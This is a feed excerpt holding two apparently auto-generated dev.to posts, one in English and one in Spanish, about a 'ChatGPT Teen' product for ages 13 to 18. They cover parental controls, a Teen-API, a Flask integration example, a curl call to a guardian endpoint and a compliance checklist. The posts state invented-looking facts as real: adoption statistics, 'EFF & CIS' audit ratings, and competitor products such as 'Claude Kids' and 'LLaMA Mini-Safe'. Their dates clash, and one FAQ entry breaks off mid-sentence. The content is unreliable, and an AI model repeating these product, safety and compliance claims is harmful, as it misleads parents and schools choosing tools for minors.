    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choices&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Keep the API key out of client‑side code. Use a simple Flask or FastAPI endpoint that your LMS can call securely.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Core Features &amp;amp; Safety Mechanisms
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;What It Does&lt;/th&gt;
&lt;th&gt;How to Configure&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Restricted‑Capability Architecture&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Disables jailbreak prompts, blocks sexual/violent content, and limits knowledge to data before 2023.&lt;/td&gt;
&lt;td&gt;No action needed; it’s baked into the model.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Parent Dashboard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Central hub for usage limits, activity logs, and real‑time alerts.&lt;/td&gt;
&lt;td&gt;Accessible via &lt;code&gt;https://platform.openai.com/parent-dashboard&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Strict Mode&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds an extra filtering layer for borderline queries.&lt;/td&gt;
&lt;td&gt;Toggle in the dashboard → &lt;strong&gt;Safety Settings&lt;/strong&gt; → &lt;strong&gt;Enable Strict Mode&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Daily Usage Limits&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Caps minutes or number of prompts per day.&lt;/td&gt;
&lt;td&gt;Set under &lt;strong&gt;Usage Limits&lt;/strong&gt;; you can also set a “soft” warning threshold.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Activity Log &amp;amp; Export&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Chronological list of prompts and responses; exportable as CSV.&lt;/td&gt;
&lt;td&gt;Click &lt;strong&gt;Export Log&lt;/strong&gt; on the dashboard; schedule automated email reports if desired.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Real‑Time Alerts&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Email or SMS when a risky query is flagged.&lt;/td&gt;
&lt;td&gt;Enable under &lt;strong&gt;Alert Settings&lt;/strong&gt; → choose channel (email/SMS).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Adoption at a Glance
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Figure (Q2 2024)&lt;/th&gt;
&lt;th&gt;Why It Matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Teen accounts created&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;12.4 million (first 3 months)&lt;/td&gt;
&lt;td&gt;Shows rapid market acceptance; schools can’t ignore it.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Daily active teen users&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4.9 million&lt;/td&gt;
&lt;td&gt;Indicates sustained engagement, not just a launch hype.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Search spike for “ChatGPT parental control”&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;+3.8× YoY (Mar‑Jun 2024)&lt;/td&gt;
&lt;td&gt;Parents are actively seeking safe AI solutions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Compliance rating (EFF &amp;amp; CIS audits)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;“High compliance” for COPPA &amp;amp; GDPR‑Kids&lt;/td&gt;
&lt;td&gt;Reduces legal risk for schools and districts.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  How It Stacks Up Against Competitors
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;AI&lt;/th&gt;
&lt;th&gt;Age Range&lt;/th&gt;
&lt;th&gt;Safety Rating (independent)&lt;/th&gt;
&lt;th&gt;API Available?&lt;/th&gt;
&lt;th&gt;Notable Difference&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;ChatGPT 13‑18&lt;/strong&gt; (OpenAI)&lt;/td&gt;
&lt;td&gt;13‑18&lt;/td&gt;
&lt;td&gt;High (EFF, CIS)&lt;/td&gt;
&lt;td&gt;Yes (Teen‑API)&lt;/td&gt;
&lt;td&gt;Integrated with OpenAI ecosystem; strongest compliance documentation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Claude Kids&lt;/strong&gt; (Anthropic)&lt;/td&gt;
&lt;td&gt;8‑12&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;No (only web app)&lt;/td&gt;
&lt;td&gt;Focuses on younger kids; lacks robust API for schools.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Gemini Family&lt;/strong&gt; (Google)&lt;/td&gt;
&lt;td&gt;10‑18&lt;/td&gt;
&lt;td&gt;Medium‑High&lt;/td&gt;
&lt;td&gt;Yes (Family‑API)&lt;/td&gt;
&lt;td&gt;Uses Google’s SafeSearch; less granular parental dashboard.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;LLaMA Mini‑Safe&lt;/strong&gt; (Meta)&lt;/td&gt;
&lt;td&gt;13‑18&lt;/td&gt;
&lt;td&gt;Low‑Medium&lt;/td&gt;
&lt;td&gt;Yes (open‑source)&lt;/td&gt;
&lt;td&gt;Requires self‑hosting and custom safety layers.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Bottom line:&lt;/strong&gt; If you need a ready‑to‑deploy, compliance‑checked solution with an API, OpenAI’s teen version is the clear leader.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step‑by‑Step: Deploying the Teen API in a Learning Management System
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Create a server‑side endpoint&lt;/strong&gt; (e.g., Flask) that receives a prompt from the LMS and returns the AI response.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Validate user consent&lt;/strong&gt; – check that the requesting student’s account is linked to a verified parent profile.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enforce usage limits&lt;/strong&gt; – store a counter in your database; reject requests that exceed the daily quota.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log every interaction&lt;/strong&gt; – write prompt, response, timestamp, and user ID to a secure audit table.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Optional: Add a “Report” button&lt;/strong&gt; – let students flag a response; forward the flag to the parent dashboard via OpenAI’s webhook (available in the dashboard under &lt;strong&gt;Integrations&lt;/strong&gt;).
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Minimal Flask example
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jsonify&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;api_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TEEN_API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Simple in‑memory usage tracker (replace with DB in production)
&lt;/span&gt;&lt;span class="n"&gt;usage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/lms/chat&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;
    &lt;span class="n"&gt;student_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;student_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;prompt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="c1"&gt;# Enforce daily limit (10 prompts per day)
&lt;/span&gt;    &lt;span class="n"&gt;today&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;today&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;student_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;today&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;usage&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;usage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;usage&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;error&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Daily limit exceeded&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="mi"&gt;429&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ChatCompletion&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt-4o-mini-teen&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choices&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="c1"&gt;# Log (could be written to a DB)
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; | &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;student_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; | &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;answer&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Compliance Checklist (For Schools &amp;amp; Districts)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[ ] &lt;strong&gt;Parental Consent&lt;/strong&gt; – Verify each teen account has a signed consent form stored in the district’s records.
&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Data Retention Policy&lt;/strong&gt; – Keep activity logs for no longer than 90 days unless a legal hold is required.
&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Secure API Key Management&lt;/strong&gt; – Store keys in a secret manager (e.g., AWS Secrets Manager, HashiCorp Vault).
&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Access Controls&lt;/strong&gt; – Restrict the API endpoint to internal IP ranges or VPN.
&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Incident Response&lt;/strong&gt; – Define a process for handling flagged content or breaches, and integrate with the OpenAI alert webhook.
&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Training for Staff&lt;/strong&gt; – Provide a 30‑minute walkthrough of the Parent Dashboard and the “Strict Mode” toggle.
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;Answer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Is the 13‑18 version truly safe for minors?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;It uses a “restricted‑capability” architecture that blocks jailbreak attempts, filters sexual/violent content, and limits knowledge to pre‑2023 data. Independent audits gave it a high compliance rating, but no system is 100 % foolproof. Ongoing parental supervision and the activity dashboard remain essential.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;How does parental control work?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The &lt;strong&gt;Parent Dashboard&lt;/strong&gt; lets you set daily limits, enable Strict Mode, view a chronological log of all prompts, and receive real‑time email/SMS alerts when risky queries are flagged.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Can I integrate the teen ChatGPT API into school platforms?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes. Use the &lt;strong&gt;Teen‑API&lt;/strong&gt; key, host the calls on a server‑side environment, and enforce the same parental‑consent flow required by COPPA. The Python example above shows a minimal integration.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;**What if a student triggers a “risky”&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;p&gt;&lt;em&gt;Herramienta mencionada: &lt;a href="https://vercel.com" rel="noopener noreferrer"&gt;Vercel&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>chatgpt</category>
      <category>parentalcontrol</category>
      <category>teenai</category>
      <category>english</category>
    </item>
    <item>
      <title>ChatGPT Teen: IA segura para adolescentes en 2024</title>
      <dc:creator>LeoJulieta</dc:creator>
      <pubDate>Tue, 18 Aug 2026 20:21:43 +0000</pubDate>
      <link>https://dev.to/leojulieta/chatgpt-teen-ia-segura-para-adolescentes-en-2024-gil</link>
      <guid>https://dev.to/leojulieta/chatgpt-teen-ia-segura-para-adolescentes-en-2024-gil</guid>
      <description>&lt;h1&gt;
  
  
  ChatGPT Teen (13‑18 años): la IA con control parental que está revolucionando la educación en 2024
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Introducción
&lt;/h2&gt;

&lt;p&gt;OpenAI acaba de lanzar &lt;strong&gt;ChatGPT Teen&lt;/strong&gt;, la versión de su famoso modelo diseñada exclusivamente para adolescentes de 13 a 18 años. Con filtros de contenido reforzados, límites de tiempo y un panel de supervisión para padres y docentes, la herramienta promete un entorno seguro sin sacrificar la potencia de la IA. En los siguientes minutos descubrirás cómo activarla, qué funcionalidades la diferencian de la versión estándar y cómo cumplir con GDPR y COPPA sin complicaciones.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. ¿Qué hace diferente a ChatGPT Teen?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Característica&lt;/th&gt;
&lt;th&gt;ChatGPT Standard&lt;/th&gt;
&lt;th&gt;ChatGPT Teen&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Filtros de contenido&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Básicos (violencia, pornografía)&lt;/td&gt;
&lt;td&gt;Tres niveles (básico, moderado, estricto) + detección de lenguaje ofensivo en tiempo real&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Límite de sesión&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Opcional&lt;/td&gt;
&lt;td&gt;Tiempo máximo configurable (ej. 30 min)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Panel de actividad&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No disponible&lt;/td&gt;
&lt;td&gt;Historial resumido accesible para padres/maestros&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Verificación de edad&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sólo email&lt;/td&gt;
&lt;td&gt;Verificación por ID o número de teléfono + código QR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tono educativo&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Neutro&lt;/td&gt;
&lt;td&gt;“Tono pedagógico” que prioriza explicaciones paso a paso y evita temas sensibles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Retención de datos&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;30 días de historial&lt;/td&gt;
&lt;td&gt;Almacenamiento mínimo, borrado automático al 7 días o a petición del guardián&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  2. Activar el control parental en 3 pasos
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Crear la cuenta “Guardian”&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="c"&gt;# Desde la app o web&lt;/span&gt;
   curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://api.openai.com/v1/guardian &lt;span class="se"&gt;\&lt;/span&gt;
        &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;TU_TOKEN&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
        &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"email":"padre@example.com","password":"*****"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Vincular la cuenta del menor&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Abre la app del adolescente → &lt;em&gt;Ajustes&lt;/em&gt; → &lt;em&gt;Invitar a un guardián&lt;/em&gt; → genera un &lt;strong&gt;código QR&lt;/strong&gt; o un &lt;strong&gt;enlace&lt;/strong&gt;.
&lt;/li&gt;
&lt;li&gt;En la cuenta Guardian, escanea el QR o pega el enlace y confirma la relación.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Configurar filtros y horarios&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="nl"&gt;"filter_level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"estricto"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="nl"&gt;"daily_limit_minutes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="nl"&gt;"allowed_hours"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"08:00-12:00"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"15:00-20:00"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="nl"&gt;"notifications"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Guarda los cambios y recibirás un resumen diario por email o push.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Cumplimiento legal (GDPR &amp;amp; COPPA)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Requisito&lt;/th&gt;
